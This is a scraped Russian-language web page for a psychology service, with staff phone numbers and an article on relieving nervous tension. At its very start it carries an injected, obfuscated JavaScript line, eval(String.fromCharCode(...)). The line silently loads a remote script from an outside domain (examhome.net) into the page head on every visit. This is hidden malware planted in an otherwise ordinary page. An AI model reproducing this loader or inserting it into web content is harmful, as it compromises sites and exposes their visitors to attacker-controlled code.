eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125)); Как снять нервное напряжение
отзывы Наши телефоны
Белова Наталия Борисовна

(067)466-62-20

Дидур Наталья Анатольевна

(067)401-41-55,

Поздеева Елена Владимировна

(067)745-20-44

Аксенова Татьяна Васильевна

(050)380-30-69, (067)144-91-96


Как снять нервное напряжение

Нервное напряжение, эмоциональная зажатость часто становятся причиной появления серьезных недугов, срывов и всплесков. Кроме того, пребывая в подобном состоянии, человек лишается всех радостей, теряет возможность решать важные дела и просто развиваться. Как справиться с подобным состоянием? Этот вопрос слетает с уст многих людей, следовательно, необходимо отыскать ответ на него. Услуги психолога и услуги психотерапевта смогут без травм и лишней траты времени помочь с нервным напряжением.

Постоянное напряжение и зажатость поддается влиянию, но для этого необходимо иметь некоторые знания и умения. Прежде чем приступать к перечислению способов избавления от недуга, целесообразно ознакомиться с перечнем проблем, с которыми может столкнуться человек, имеющий сбои в работе нервной системы:

• отсутствие поступлений энергии в тело, сознание;
• нарушение кровотока и как результат плохое самочувствие, возникновение болевых ощущений по всему телу;
• снижение защитных функций организма;
• высокий уровень восприимчивости;
• отсутствие эмоционального равновесия.

Чтобы предотвратить усугубление ситуации и избавиться от напряжения, зажатости необходимо в первую очередь осознать причину возникновения данных проблем, а также попытаться ее ликвидировать. Нужно научиться прислушиваться к своему внутреннему голосу, а также попытаться овладеть собой, взять под контроль собственное сознание.

Различают два вида напряжения: текущее и фоновое. Первое возникает вследствие активации какой-либо проблемы, в момент, когда человек находится под влиянием стрессовой ситуации. В такой атмосфере возникает злость, нервное переживание, страх, что и влечет появление зажатости и напряжения. Фоновое же напряжение отличается постоянством. Оно присутствует даже в тот момент, когда самому человеку кажется, что он спокоен. Такое состояние обусловлено наличием фоновых проблем, к которым человек уже привык.